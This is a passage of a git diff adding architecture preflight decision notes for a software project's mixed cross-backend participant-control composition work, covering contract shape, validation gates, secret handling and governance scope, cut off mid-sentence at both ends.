capabilities. Timestamp-only support is `disclosed_weak`; serialization requires its named service and evidence. | +| Persistence and replay: `ControlPlaneStore.commit_participant_transition()`, `control_plane_durability.py`, `control_plane_store_revision.py`, shipped memory/local stores | Reuse snapshot-revision and expected-history-head compare-and-swap, scoped idempotency, operation records, and restart checks. A changed phase/provider/mapping or policy/authority/capability cut must not reuse a prior permit. No side database, new event stream, or distributed-commit claim. Store recovery and later results append facts. | +| Runtime ownership and OS storage: `control_plane_mutation.py`, `control_plane_lifecycle.py`, `control_plane_api/_offload.py`, `control_plane_store_local.py`, `control_plane_store_lease.py` | Preserve bounded mutation admission/offloading and guarded runtime ownership. The local store commits snapshot, operation, and audit in one SQLite transaction and uses an exclusive OS owner lock with safe-file checks. `WEB_CONCURRENCY` and `UVICORN_WORKERS` must be one, with reload disabled. Multiple providers do not justify multiple control-plane writers or turn the store-owner lock into a participant authority lease. No new process or storage surface is needed for this publication. | +| Configuration/secret shapes: `raes_contracts/contracts/experiment_bindings.py`, `participant_configuration.py`, `secret_references.py`, `raes/runtime_environment.py` | Manifest-owned configuration targets already validate type, alias, sensitivity, complete normalization, and digest. Secret targets accept logical `SecretReferenceId` references only and have no portable secret defaults. Runtime env values retain name/classification/provenance validation: literal `value` and `value_from` are exclusive; generated values cannot claim `operator_secret`; protected raw values are redacted. No credentials or executable expressions in edge/adapter refs, examples, or a generic config dictionary. | +| Late-bound facts and secret dispatch: `raes_contracts/contracts/runtime_facts.py`, `raes_runtime/runtime_fact_binding_policy.py`, `runtime_fact_bindings.py`, `runtime_fact_dispatch.py` | Preserve run/participant/episode/workflow scope, source/type/sensitivity/authority/freshness checks, audience projection, and explicit absence dispositions. Resolve secret references only at the trusted action sink through `RuntimeFactBindingAdmission` and `RuntimeFactDispatchCommand`. Provider changes cannot retarget a binding or convert observations into configuration or apparatus authority. No general string interpolation or second secret resolver. | +| Host/OS and backend boundary: component-specific `RuntimeTarget` calls, `backend_call_contracts.py`, `backend_result_diagnostics.py` | This semantic publication adds no subprocess, environment, file-materialization, or host-network surface. Downstream resolution keeps raw secrets out of argv, command strings, portable artifacts, snapshots, logs, and environment dumps. Backend output is untrusted and must pass existing result/transition validators; native success cannot override failed admission. No generic dispatcher that bypasses component-specific effect gates. | +| Errors, size limits, and observability: `control_plane_api_guards.py`, API exception handlers, `Diagnostic`, `OperationReceipt`, `AuditEvent`, `_backend_call_failed()` | Retain request-size/closed-DTO gates, safe operation/error envelopes, value-independent rejection reasons, and existing audit correlation. Never serialize raw exceptions, validation input, hidden values, policy bodies, secret refs revealing protected identity, or private host paths. Audit is a separately authorized audience. Membership, size/cadence, clock grants, transfer, destination, retraction, and differential errors/timeouts also need projection or explicit exclusion from the observer/claim model. | + +SEM-230's reactive strategy, memory, projection, declassification, and +exact-cut definitions remain authoritative. SEM-233 final-sink enforcement, +API-423 occurrence stages, and SEM-230 noninterference are different concerns. +Neither schema validity, routing/filtering, encryption, nor successful +per-edge checks establish a composed noninterference result. Earlier visible +occurrences cannot become hidden retrospectively; phase changes do not reset +an adaptive participant's memory by implication. + +## Extensibility without new machinery + +The extension seam is the revisioned composition profile and its referenced +allocation, edge-mapping, time/order, authority, and observer subprofiles. +Trigger/evidence rules and finite resource bounds belong in those admitted +profiles or their compiler authority inputs, not hard-coded backend branches. +Another backend supplies pinned manifest/adapter identities, eligible scopes, +mapping revisions, capabilities, loss/failure behavior, and evidence through +those seams. Backend-name conditionals and a new portable scenario field are +unnecessary. The three independent axes remain control-loop posture, world +assumption, and admitted membership; closed-loop posture grants no authority, +and bounded-open-world posture does not widen closed vocabularies. + +RUN-310's existing order-strategy input, injected principal/controller bindings, +and expected-head store operation are the downstream extension seams. Extend +their governed cut coverage when adding admitted phase/allocation state; do not +hide new authority in snapshot metadata or overload a control-history revision. +Historical declaration/evidence resolution must remain separate from the +current authority check when profiles evolve. + +A later lease, simultaneous scoped-controller, or joint/fused-control design +requires a new accepted authority profile with renewal/fencing or arbitration, +ordering, failure, and evidence semantics. It cannot arrive as extra fields, +an extension dictionary, or an interpretation of multiple providers. Profiles +requiring unavailable semantics fail closed rather than degrading silently. + +## Evidence and repository workflow + +The following are publication acceptance boundaries, not an implementation +sequence: + +- Alternative, simultaneous mixed, linked inter-trial, and pre-admitted phase + examples must identify their profile/revision, scopes, components, directed + edges, policy/authority and time cuts, outcomes, and limitations. Include + missing/ambiguous mappings, cross-kind overlap, stale/revoked authority, + unadmitted joins/fallback, incomparable cuts, and metadata leakage. An + intentionally invalid example must be identified as such. These are + semantic witnesses/counterexamples, not runnable mixed-backend fixtures. +- The MCB clause-to-artifact-to-assurance mapping must separate definition, + structural checking, finite falsification, runtime enforcement, backend + declaration/realization/conformance, model checking, and proof. Reuse + `BehavioralClaimBindingModel`, `validate_behavioral_claim_binding()`, and + `contracts/concept-authority/behavioral-relations-v1.json` for any governed + relation claim. Do not add an “equivalence” relation just to describe + composition. Fixed strategies, sampled traces, and scalar serializations + cannot substitute for SEM-230's quantified adaptive/partial-order model. +- `test_issue_813_cross_backend_participant_control_design.py` checks design + program structure. It does not execute MCB admission. The existing SEM-230 + bounded model/tests, API-409/API-423 contextual tests, SEM-233 flow-contract + tests, SCE-002 trial-compiler tests, and API-421 time tests supply incumbent + meanings and negative-case patterns, not mixed-runtime evidence. +- Reuse `.ground-control.yaml`, `.gc/plan-rules.md`, and `noxfile.py` with + `tools/nox_support/`; set `RAES_REQUIREMENT_UID=SEM-234` on this branch. + `.pre-commit-config.yaml`, `.github/workflows/ci.yml`, + `.github/workflows/canonical-verification.yml`, and + `.github/workflows/docs.yml` already route verification; do not add a + parallel workflow. `tools/policy/adr_policy.yaml` owns package boundaries: + contracts stay below processor/runtime consumers, and SDL cannot import + processor/runtime orchestration. + Keep requirement/document traceability explicit without rewriting #813's + historical DRAFT dispositions as if they were current fulfillment. +- **Observed governance blocker (2026-09-17):** the strict requirement gate + rejects this pre-existing preflight path under `SEM-234` with + `requirement-ownership-mismatch`. `tools/policy/requirement_order.yaml` + selects repository-backed requirement authority and its + `semantics-expansion` ownership list does not include this note. Reconcile + the delivery's exact document ownership through the canonical governance + mechanism before claiming verification complete. Do not switch to an + unrelated UID, disable the gate, or broaden ownership as a workaround. + This preflight changes no policy configuration or requirement records. + Delivery resolution: #1013 assigns exact publication paths to a dedicated + `mixed-participant-composition` ownership phase for SEM-234, retaining the + reference-implementation prerequisites. Its regression test admits this + note and rejects runtime implementation paths. No gate is disabled. +- The actual publication is subject to `check_repo_policy.py`, + `check_requirement_governance.py`, `check_adr_immutability.py`, + `check_semantic_coverage.py`, `check_assurance_policy.py`, + `check_specification_coverage.py`, `check_sdl_lineage.py`, + `check_behavioral_relation_claims.py`, and repository docs validation. + Reuse `docs/explain/reference/shared-semantic-integrity.md`, + `docs/explain/reference/fm-classification-ledger.yaml`, + `specs/formal/assurance-fulfillment.yaml`, + `contracts/provenance/sdl-lineage-ledger-v2.json`, its source mappings, and + the existing claim gate. These general gates do not themselves check MCB + semantic completeness. Do not introduce a parallel checker or mark + production coverage complete from prose. Preserve exact source editions + and prior-art/nonclaim dispositions from #813 rather than inventing + compatibility claims. +- A later published schema change belongs to #1014 and must satisfy + `contracts/schema-publication-manifest.json`, `check_schema_publication.py`, + generated-bundle parity (`check_generated_schemas.py`), schema fixtures, and + contextual validation. No weakening of `extra="forbid"` or use of observed + apparatus metadata is a substitute for that governed extension. + +## Non-goals + +#1013 publishes semantic authority only. It does not publish a wire contract, +DTO, SDL backend selector, compiler change, coordinator, adapter, HLA gateway, +policy engine, exception hierarchy, logger, store, or new workflow. #1014–#1017 +own the downstream contract/admission/runtime/backend work; #1018 owns the +demonstration and #1019 its claim reconciliation. + +No leased, simultaneous scoped-owner, joint/fused-controller, unadmitted +dynamic-membership, or implicit failover support is established. No live +realization, interoperability, universal transfer, cross-backend equivalence, +IFC/noninterference, covert-channel protection, or distributed exactly-once +guarantee follows from this note or semantic publication. diff --git a/docs/decisions/issue-1014-mixed-composition-contracts-preflight.md b/docs/decisions/issue-1014-mixed-composition-contracts-preflight.md new file mode 100644 index 000000000..28b1e96ef --- /dev/null +++ b/docs/decisions/issue-1014-mixed-composition-contracts-preflight.md @@ -0,0 +1,403 @@ +# Issue #1014 — Portable mixed-composition contracts preflight + +Date: 2026-09-18 + +Scope: publish the portable contract surface required by SEM-234 while +composing SCE-002, API-407, and API-423. This note is architecture guidance, +not an implementation plan. It does not publish a schema, add a model or +validator, compile or admit a trial, coordinate a runtime, change a backend +manifest, or establish realization. + +[ADR-102](adrs/adr-102-mixed-cross-backend-participant-control.md), the +[#813 design preflight](issue-813-cross-backend-participant-control-preflight.md), +the [#1013 semantic preflight](issue-1013-sem-234-mixed-participant-control-preflight.md), +and `sem-234/rev1` already settle the architecture. No new ADR is needed. + +## Decisive architecture decisions + +### Publish one composition root + +Publish one closed `mixed-participant-composition-profile-v1` root. Components, +allocation entries, directed edges, cross-clock/order bindings, loss +declarations, evidence bindings, and the finite phase schedule are nested +definitions of that root, not independently versioned top-level contracts. +Separate top-level schemas would permit incompatible revisions of what +SEM-234 admits as one sealed graph. + +The wire-contract version, semantic authority (`sem-234/rev1`), and composition +profile (`mixed-cross-backend-participant-control-v1@rev1`) are distinct +coordinates. The root has one canonical RFC 8785/JCS digest through the +existing `canonical_json_digest()` authority; the digest field is excluded from +its own canonical projection, following the admitted-plan sealing pattern. It +has no `trial_id`, `run_id`, plan-entry id, runtime phase status, operation id, +or observed-apparatus state. #1015 binds the exact profile digest into the +incumbent admitted trial plan; `AdmittedTrialEntryModel.run_id` remains the only +preallocated run identity. + +Use identifier-keyed maps with key/embedded-id equality for independently +referenced collections such as components, allocations, edges, phases, and +transitions. Inline closed single-owner mapping, loss, or evidence records +instead of normalizing them into another registry unless more than one owner +actually references them. A separate closed phase-order list may order phase +ids. Do not use open metadata maps or list position as identity. Two component +keys cannot alias the same apparatus identity and digest-pinned manifest +binding; genuine multiple instances need distinct governed component +identities rather than backend-local handles. + +Composition mode, realization form, topology class, control-loop posture, +world assumption, and federation-membership posture are separate closed +coordinates. Each alternative-realization profile instance must be complete +and must become a distinct #1015 plan entry/run; alternative instances are not +an active fallback pool. A simultaneous-mixed profile must have at least one +phase with multiple active providers and evidence-backed distinct realization +forms. A staged profile seals all possible members before execution. Backend +names, adapter classes, or component count do not establish any of those +meanings. + +Closed wire shapes and operational vocabularies do not make the profile an +exhaustive backend catalog. ADR-105 delegated materialization remains valid: +unspecified internal descendants can stay private while exact selected +constraints, externally visible allocation units, and composition-boundary +obligations remain binding. + +### Keep declarations, requirements, and realized facts separate + +The composition root carries requirements and sealed intent: + +- an allocation names one SEM-234 allocation-unit kind, one canonical compiled + target, one provider component, and its phase applicability; +- an edge names directed endpoints and references the incumbent authority, + participant/audience policy, crossing scope, mapping, loss, failure, and + evidence owners; +- a feature requirement names a governed API-407 feature and minimum support + level, with an optional already-authorized downgrade policy/provenance + binding; and +- a phase names active component/allocation/edge refs and finite transition + rules, not mutable runtime state. + +Backend `ParticipantFeatureSupportModel` entries remain declarations in +`backend-manifest-v2`. The profile must not embed or copy those declarations, +and general `realization_support`, `constraints`, or disclosure maps must not +stand in for an API-407 participant-feature result. Contextual validation uses +`resolve_participant_feature_support()` for the selected component, edge, and +phase. It never unions support across components, infers `exact` from list or +method presence, or authorizes a downgrade itself. New standard +mixed-composition feature terms and their conformance probes remain #1017 +scope; #1014 may consume only governed current terms or governed extension +terms and cannot claim they are realized. + +`ExperimentApparatusContextModel` remains observed run evidence. It cannot be +used as composition intent. Components instead bind stable component ids to +kind-appropriate exact authorities. Processor/backend components reuse +digest-pinned `ExperimentManifestReferenceModel` values and +`ApparatusIdentityModel`; participant implementations reuse +`AdmittedParticipantManifestReferenceModel` and its concrete manifest join. +`ExperimentManifestReferenceModel` deliberately rejects digest-qualified +participant or `other` subjects, so do not widen it or disguise an +adapter/bridge as a generic manifest. If no incumbent adapter-manifest owner +exists, use a narrow closed composition-owned identity/version/digest reference +resolved from trusted context, or bind the adapter through its already-pinned +backend component; do not publish adapter payloads or a generic manifest +carrier. `RealizationEnvelopeIdentityModel` remains an exact envelope +reference. The current `AdmittedApparatusBindingModel` owns one envelope and +cannot by itself prove a multi-envelope component graph; #1015 owns that +admission join. An observed context may later report whether intent was +realized, but cannot admit or repair it. + +Inter-trial lineage stays outside the reusable composition profile. #1015 +must create a new `AdmittedTrialEntryModel`/`run_id` and seal an exact source +reference at the admitted-trial boundary; the eventual archival +`ExperimentRunModel` mirrors that relation through `derived_from_refs` and +binds its new identity through `TrialRunProvenanceModel`. Neither the source +run nor a generic `derived_from_refs` value is pre-run authorization. Do not +put predecessor plan/run ids into the composition profile, reuse an old entry, +or create a profile-to-entry digest cycle. + +### Compose incumbent owners rather than copying them + +- The existing `plan-realization-profiles-v1`/`PlanProfileAuthority` contract + owns recursive, plan-resource realization constraints and backend-selected + values. `realization-envelope-v1` owns the set of SDL instances one realizer + can accept, and `RealizationEnvelopeIdentityModel` identifies one such exact + envelope. None is an allocation/topology/phase graph. Do not rename, widen, + embed arbitrary composition data in, or substitute any of them for the new + SEM-234 root; reference their exact identities only where their incumbent + meaning is required. +- SCE-002 scenario/module/family composition, parameter binding, and seeded + selection remain owned by `raes.composition`, `selected_scenario.py`, + `experiment_selection.py`, and the trial compiler. SEM-234 provider + composition is a separate admitted-realization graph. Do not reuse + `compose_realization_constraints()` or its recursive constraint vocabulary + as a provider graph, copy resolved parameters or runtime facts into the + profile, or let provider/phase availability consume or reseed a random draw. +- Allocation targets use `CompiledAddress` and must resolve through the + compiler/address owner. Address shape alone is not target existence, kind, + or scope evidence. Cross-kind overlap is resolved by the owning semantic + scope, never by string-prefix comparison. +- A topology edge is not an API-423 occurrence or a universal message. It + references the exact crossing subject/scope and policy owners needed by the + exchange. Component source/destination is not participant-relative + ingress/egress. API-423 continues to own request, decision, transformation, + disclosure, delivery-attempt, delivery, observation, audit, and their + history joins. Its current transformation history permits one result + identity per source; a profile requiring parallel audience-specific results + must refuse that contract version rather than restamp sources or discard + history. +- Cross-clock bindings reference the exact `time-model-v1` declarations and + mapping addresses. Composition adds only the edge-relative preserved-order, + applicability, loss, failure, and evidence binding that the incumbent + affine/identity mapping does not express. It must not copy scale, offset, + clock authority, or domain definitions into a competing time model. +- Prospective composition loss reuses the incumbent participant-runtime + `ParticipantRuntimeMappingLoss` vocabulary in a composition-owned closed + obligation record with exact basis/affected/limitation references. Runtime + `ParticipantCrossingLossModel` entries remain API-423 facts. Do not turn the + runtime fact into prospective intent, reuse API-423's hyphenated + backend-posture values as API-407's underscored support-level enum, or create + a third support or loss scale. +- Evidence fields are typed references and obligation bindings, not evidence + bodies. Actual records remain `ExperimentEvidenceRecordModel`, associated + artifacts retain checksum/size/URI/sensitivity validation, and realized + run/study traceability remains in the experiment family. A nonempty evidence + ref does not prove the referenced content or satisfy an obligation. +- Control authority, provider responsibility, optional backend-native + ownership, routing, and disclosure authority remain separate references. + No composition field grants another owner's authority by implication. + +### Represent a sealed schedule, not a phase engine + +The v1 schedule is finite, pre-admitted, and quiescent. It names one initial +phase, the complete possible-membership set, active refs per phase, and closed +transitions with trusted trigger/evaluator refs, progress bounds, failure +dispositions, and evidence obligations. Every ref must resolve inside the +sealed root or through an exact supplied external authority. + +Phase transitions do not select a scenario, consume a random draw, discover a +provider, reset participant memory, establish cleanup, erase history, or +change trial/run identity. The contract carries no current phase, pending +effect, retry counter, lease, or completion result. #1016 owns runtime state +and revision-fenced commit. A topology feedback cycle is not a recursive +profile reference: nested profile resolution must be acyclic and bounded, +while an admitted feedback edge needs explicit progress/failure semantics. + +## Validation ownership + +Keep three gates distinct: + +1. **Ingress and structural validation.** Reuse `parse_bounded_json_object()`, + `StrictJsonIngressError`, `ContractModel(extra="forbid")`, strict scalar + shapes, closed vocabularies, map-key equality, cardinality bounds, and + canonical-digest verification. Reject duplicate JSON members, non-finite + numbers, oversized input, unknown versions, extras, duplicate identities, + and malformed refs before graph traversal. +2. **Root-local graph validation.** Check complete key/ref resolution, + endpoint direction, possible/active membership, phase-order and transition + closure, exactly one canonical value for each authority/order/loss binding, + no orphan entries, and no implicit reverse edge. Reject the entire root on + exhaustion; never truncate. +3. **Contextual validation.** Consume trusted, caller-supplied concrete + scenario/address indexes, manifests and payload digests, realization + envelopes, time models, policy/authority cuts, evidence/artifact indexes, + and nested profiles. Check target kind/existence, manifest identity and + digest, envelope membership, API-407 effective support, edge clock/mapping + endpoints, policy/audience/crossing agreement, evidence-ref existence, and + acyclic bounded nested-profile resolution. It does not fetch paths/URLs, + choose providers, compile, mutate, repair, dispatch, or manufacture current + permission. + +The contextual validator follows the existing `validate_*_context()` pattern +and raises bounded, value-independent `ValueError` failures. A resolver wrapper +fails closed and suppresses unexpected resolver exceptions like +`validate_participant_flow_control_resolved_context()`. At the processor +boundary, expected failures are converted through the incumbent +`CompilationFailure` path to bounded `Diagnostic`/`DiagnosticModel` values; +contract code must not import the processor package. It must call incumbent +validators and the capability resolver rather than recreate their rules. A +Pydantic object proves only structural/root-local validity; callers holding a +deserialized object must still run contextual validation before #1015 +admission. + +Graph validation needs explicit caller limits for source bytes, components, +allocations, edges, phases, transitions, nested depth, visited nodes/work, and +diagnostics. Follow `TrialCompilationLimitsModel` and +`AssociatedArtifactValidationLimits`; current trial-product limits do not +implicitly bound composition traversal. Byte limits alone do not bound JSON +nesting, so reject excessive object/array depth and node count with an +iterative pre-model walk in a composition ingress wrapper over the shared +`parse_bounded_json_object()` path. Extend that shared parser only with +backward-compatible optional limits if enforcement must happen before +`json.loads`; do not add a competing loader or rely on a recursive validator +reaching Python's recursion limit. + +## Canonical incumbents to reuse + +| Concern | Canonical owner and required fit | +| --- | --- | +| Semantic authority | `specs/formal/participant-semantics/cross-backend-participant-control.md`, ADR-102, and stable MCB-001–045 identities. The contract expresses `sem-234/rev1`; it does not redefine it. | +| Closed contract and identity | `ContractModel`, `raes_contracts.versions`, `NonEmptyString`, `PrefixedDigestString`, `canonical_json_digest()`, keyed-map equality, and `x-raes-invariants`. No second base model or serializer. | +| Existing realization profiles | `plan-realization-profiles-v1`, `PlanProfileAuthority`, `realization-envelope-v1`, and `RealizationEnvelopeIdentityModel` retain recursive resource-constraint and single-realizer envelope meaning. Reference them; do not overload them as the SEM-234 graph. | +| SCE-002 variation | `raes.composition`, `selected_scenario.py`, `experiment_selection.py`, `trial_compiler/domains.py`, `policies.py`, `compiler.py`, the admitted trial-plan family, and runtime-fact bindings. Preserve selected-scenario, seed/random-stream, input, and plan-entry identities; composition scheduling cannot rerandomize or substitute values. | +| Scenario targets | `CompiledAddress`, `require_compiled_address()`, `raes_processor/compiler/addresses.py`, instantiated-scenario validation, and owning scope interpretation. No raw paths, callbacks, selectors, or backend commands. | +| Trial intent and lineage | `AdmittedTrialPlanModel`, `AdmittedTrialEntryModel`, `AdmittedApparatusBindingModel`, exact input refs/digests, cleanup/isolation owners, `revalidate_admitted_trial_plan()`, `TrialRunProvenanceModel`, and `ExperimentRunModel.derived_from_refs`. #1014 publishes the reusable profile; #1015 owns its exact acyclic plan-entry binding and source-lineage join. | +| Apparatus and manifests | `ApparatusIdentityModel`, digest-qualified processor/backend `ExperimentManifestReferenceModel`, `AdmittedParticipantManifestReferenceModel`, `RealizationEnvelopeIdentityModel`, backend/processor/participant manifest validators, compatibility checks, and realization-envelope membership. Preserve each reference's admitted subject kinds; observed apparatus context stays evidence-only. | +| API-407 capability | `ParticipantFeatureSupportLevel`, governed feature vocabularies, `ParticipantFeatureSupportModel`, `PARTICIPANT_RUNTIME_CAPABILITY_REQUIRED_CONTRACTS`, and `resolve_participant_feature_support()`. Requirements and declarations remain different DTOs. | +| API-423 and policy | `ParticipantCrossingSubjectReferenceModel`, `ParticipantCrossingPolicyReferenceModel`, `validate_participant_crossing_occurrence_context()`, and the trusted resolver/context pattern in `participant_crossing_mediation.py`. Edges do not duplicate occurrence stages or grant policy. | +| Authentication and final policy | `_ControlPlaneApiAuth`, `ControlPlaneSecurityConfig`, `ControlPlaneIdentity`, participant subject/audience bindings, and the SEM-233 final-sink gate. #1014 adds no endpoint; any later endpoint must preserve caller, target, controller, audience, provider, and release as independent checks. | +| Time and order | `TimeModelDeclarationModel`, `ClockDeclarationModel`, `TimeDomainMappingDeclarationModel`, participant time-management contexts, time capabilities, realized-time evidence, and `ParticipantRuntimeOrderingBasis`. No timestamp-as-causality or second clock model. | +| Loss and evidence | `ParticipantRuntimeMappingLoss`, API-423 loss facts, experiment evidence/reference models, associated-artifact manifests and byte validation, run traceability, limitations, and behavioral claim bindings. Keep intent, fact, artifact, and claim distinct. | +| Configuration and secrets | `experiment_bindings.py`, `participant_configuration.py`, `secret_references.py`, `raes/runtime_environment.py`, runtime-fact binding policy, and `RuntimeFactDispatchCommand`. The profile may carry logical refs/digests, never resolved values or another interpolation/secret resolver. | +| Diagnostics and errors | `StrictJsonIngressError`, resolver-wrapper `ValueError`, processor `CompilationFailure`, `Diagnostic`, `DiagnosticModel`, `sanitized_failure_message()`, request guards, sanitized backend failures, and generic HTTP 500 envelopes. No composition exception hierarchy or logger. | +| Runtime persistence and host boundary | `participant_crossing_state_cut.py`, scoped idempotency, expected history heads, `ControlPlaneStore.commit_participant_transition()`, durability/store-revision helpers, the guarded one-writer local store, component-specific `RuntimeTarget`, `backend_call_contracts.py`, and `backend_result_diagnostics.py`. These are downstream consumers, not #1014 additions; #1016 must extend the governed cut rather than create a composition store or side event stream. | +| Conformance classification | `raes_conformance/conformance/validators.py` `_MODEL_VALIDATORS` and `_SEMANTIC_CONTEXT_REQUIRED_CONTRACTS`, plus `sanitized_failure_message()`. Register structural validation once and classify the root `structural-context-required`; do not report schema/model success as semantic conformance or add a parallel runner. | +| Publication | Hand-governed `contracts/schemas/`, `schema_bundle()`, explicit `tools/generate_contract_schemas.py` routing, per-contract publication records, valid/invalid fixtures, `check_generated_schemas.py`, `check_schema_publication.py`, and ADR-061 compatibility classification. | +| Workflow and layering | `.ground-control.yaml`, `.gc/plan-rules.md`, `noxfile.py`, `tools/policy/adr_policy.yaml`, requirement governance, and existing verification workflows. Contract code stays in `raes_contracts`; no import from processor/runtime. | + +## Cross-cutting security and host-layer path + +1. **File/parser gate.** The composition ingress path reuses + `parse_bounded_json_object()`/`StrictJsonIngressError`, adds explicit + composition byte/depth/node limits before model construction, and accepts an + object only. No second JSON loader, YAML, generic dict loader, unbounded + recursion, or remote include. +2. **Shape and semantic gate.** Published JSON Schema and Pydantic reject + extras and malformed values; root-local and contextual validators perform + graph and cross-artifact joins. Schema validity alone never admits a trial. +3. **Manifest/config gate.** Manifest payloads pass the existing backend, + processor, and participant-implementation manifest validators, their + supported-contract allowlists, + `participant_configuration.py` target shapes, `experiment_bindings.py`, and + realization-envelope checks. The profile contains no generic `config`, + `constraints`, `metadata`, or backend-options map and cannot bypass + configuration registries. +4. **Authentication/authorization gate.** #1014 adds no endpoint or caller + authority. A future endpoint must use `create_control_plane_app()`, + `_ControlPlaneApiAuth`, `ControlPlaneSecurityConfig`, + `ControlPlaneIdentity`, strict security defaults, verified identity/role, + exact target binding, size guards, mutation fingerprints/idempotency, and + `AuditEvent`. Authentication never supplies participant authority, policy + release, or downgrade. +5. **Secret-handling gate.** Portable values contain logical refs/digests only. + No credential, token, resolved secret, policy body, hidden observation, + participant private state, executable expression, host path, backend handle, + or environment-variable secret locator belongs in the profile, fixture, + diagnostic, log, or digest input. `secret_references.py`, + `raes/runtime_environment.py`, `runtime_fact_binding_policy.py`, and + `RuntimeFactDispatchCommand` remain the only late-binding path. +6. **OS/process exposure gate.** This publication creates no subprocess, + daemon, socket, store, environment binding, or file materialization. Keep + document content out of argv, environment dumps, filenames, stdout/stderr, + and backend-native commands. A file path argument is never authority. +7. **Error-envelope and observability gate.** Expected failures expose bounded + codes, JSON pointers, governed ids, counts, and profile versions only. Do + not echo raw Pydantic input, full refs, policy/evidence bodies, manifests, + host paths, environment values, backend exceptions, or tracebacks. Audit is + a separately authorized audience; logs are not scientific evidence. +8. **Persistence gate.** #1014 adds only Git-tracked schemas, fixtures, + publication records, reference models, validators, and documentation. Do + not store a composition in snapshot metadata, operation details, an audit + blob, a backend-local cache, or a new repository. #1015 owns sealed-plan + binding; #1016 must reuse `ControlPlaneStore.commit_participant_transition()` + and its revision/history compare-and-swap rather than add a side store. + +## Extensibility seam + +The seam is the root's explicit semantic/profile revision plus referenced +subprofiles for allocation interpretation, edge mapping, time/order, +authority/policy, observer projection, trigger/failure behavior, and evidence. +A new backend contributes digest-pinned manifests, governed API-407 feature +terms/strength, mapping profiles, losses, and evidence; it does not add a field +to SDL or a backend-name branch to every validator. + +The contextual validator is parameterized by trusted resolver indexes and +resource limits. That permits a later mapping kind, backend, nested profile, +or evidence owner without making the portable root fetch resources or depend +on processor/runtime packages. A future lease, failover/arbitration, or +joint-controller design requires a new accepted authority/profile revision; +it cannot arrive through extra fields or an extension map. + +## Gotchas and anti-patterns + +Avoid: + +- separate top-level allocation, edge, phase, mapping, loss, or evidence + schemas that can be versioned independently of the sealed composition root; +- treating SCE-002 scenario/module composition, recursive realization + constraints, experiment variation selection, or runtime-fact substitution as + the SEM-234 provider graph, or allowing provider availability to perturb a + seeded trial; +- extending portable SDL with backend choice, using observed apparatus as + authorization, or adding another trial/run identity; +- copying API-407 declarations into the profile, merging them with + realization support, using API-423 posture as feature strength, or unioning + capabilities across providers; +- a generic bridge message, HLA/FOM/handle field, backend-local command, + adapter callback/import path, open options map, or arbitrary metadata bag; +- treating an edge as a crossing occurrence, a route/filter as release, a + provider as controller, native ownership as authority, or a nonempty + evidence ref as proof; +- duplicating clocks/mapping formulas, policy bodies, occurrence stages, + evidence bodies, exception families, logging, persistence, or workflow + logic; +- accepting unresolved refs because the schema is valid, using string prefixes + for scope overlap, inventing reverse/transitive edges, linearizing partial + order by timestamps/phase/list order, or truncating validation on limits; +- mutable phase state, runtime fallback, late joins, schedule-dependent bytes, + hidden retries, or a phase-local idempotency cache in the portable profile; +- adding the new contract id to backend/processor supported-contract claims + before that implementation actually consumes or realizes it. Publication is + not capability support; #1017 owns mixed-backend declaration/conformance. + +## Repository publication guardrails + +Issue #1014 declares SEM-234, SCE-002, API-407, and API-423. Reuse the canonical +issue-bound scope in `docs/governance/requirement-scopes/` to assign every +delivery file to its exact owner; do not collapse the delivery to one UID or +globally remap an incumbent requirement solely for this issue. At preflight +time, API-423 has no phase mapping and therefore fails with +`requirement-policy-missing`. API-407 currently matches the manually blocked +`api400-deferred` phase, so an issue-bound scope that truthfully includes all +four assigned UIDs fails even if no delivery file is assigned to API-407: the +scope checker evaluates every listed UID. The `mixed-participant-composition` +ownership map covers the semantic, documentation, and witness-test slice but +not the contract schema, fixture, publication-record, generator, +`raes_contracts`, conformance registry, or new test paths that #1014 will need. +Resolve those narrow phase, ownership, exact issue-scope, and traceability gaps +before implementation. Do not borrow the broader `semantics-expansion` phase, +omit one of the issue's requirements, assign a UID no files to evade its +prerequisites, or weaken the governance check. + +The root belongs to the `contracts/schemas/plans/` and +`contracts/fixtures/plans/` family because it is sealed realization/admission +intent, not a participant-runtime occurrence. The schema is the normative +authority. The matching Python model is the reference implementation and must +generate identical JSON through `schema_bundle()`. Add an explicit generator +route rather than relying on its fallback, a per-contract publication entry +with hash and `last_change`, and positive/negative fixtures covering +alternative, simultaneous mixed, and staged profiles. A paired alternative +fixture may demonstrate that a realization change requires two distinct +profile digests, but it must not invent plan-entry/run lineage inside this +contract; #1015 owns that join. Negative fixtures prove structural rejection; +contextual tests separately cover unresolved manifests/scopes/mappings/policy +cuts, unknown revisions, duplicate apparatus identities, contradictory +canonical values, nested-profile cycles, and bounded traversal. + +Do not hand-edit generated output as if the generator were authority, add a +parallel registry/checker/CI workflow, or update backend support allowlists to +make publication tests pass. Use the existing schema, JSON-artifact, concept, +lineage, requirement, ADR, and repository-policy gates. Update lineage or +claim records only for an actual normative derivation or compatibility claim. + +## Non-goals and implementation boundary + +#1014 publishes portable shape plus root-local and contextual validation. It +does not compile or modify an admitted trial plan (#1015), coordinate or persist +an active phase (#1016), add mixed-composition backend features or conformance +claims (#1017), execute ASR-537 (#1018), or reconcile transfer/equivalence +claims (#1019). + +It adds no runtime endpoint, controller, scheduler, adapter, bridge, HLA/FMI/ +HELICS carrier, policy engine, secret resolver, store, event stream, exception +hierarchy, logger, inter-trial lineage carrier, or workflow. Contract validity +establishes neither runtime or backend realization nor interoperability, +transfer, IFC/noninterference, trace inclusion, bisimulation, exactly-once +effects, or equivalence. diff --git a/docs/decisions/issue-1015-mixed-staged-trial-admission-preflight.md b/docs/decisions/issue-1015-mixed-staged-trial-admission-preflight.md new file mode 100644 index 000000000..cda446cd1 --- /dev/null +++ b/docs/decisions/issue-1015-mixed-staged-trial-admission-preflight.md @@ -0,0 +1,441 @@ +# Issue #1015 — Mixed and staged trial admission preflight + +Date: 2026-09-18 + +Requirements: SEM-234, SCE-002, and API-407. + +Scope: extend deterministic SCE-002 trial compilation and admission so a +sealed entry can bind the exact SEM-234 composition profile published by +#1014. This note is architecture guidance, not an implementation plan. It does +not implement compilation, publish a schema, coordinate a phase, dispatch a +backend operation, persist runtime state, or establish mixed-runtime support. + +[ADR-102](adrs/adr-102-mixed-cross-backend-participant-control.md), the +[#1013 semantic preflight](issue-1013-sem-234-mixed-participant-control-preflight.md), +the +[#1014 contract preflight](issue-1014-mixed-composition-contracts-preflight.md), +and `sem-234/rev1` already decide the architecture. No new ADR is needed. + +## Decisive architecture decisions + +### Extend the admitted-trial seam; do not create another plan lifecycle + +`AdmittedTrialPlanModel` and `AdmittedTrialEntryModel` remain the only +schedule-independent execution-intent root and entry. The entry's realization +carrier must be one closed choice: + +- the incumbent single-realizer 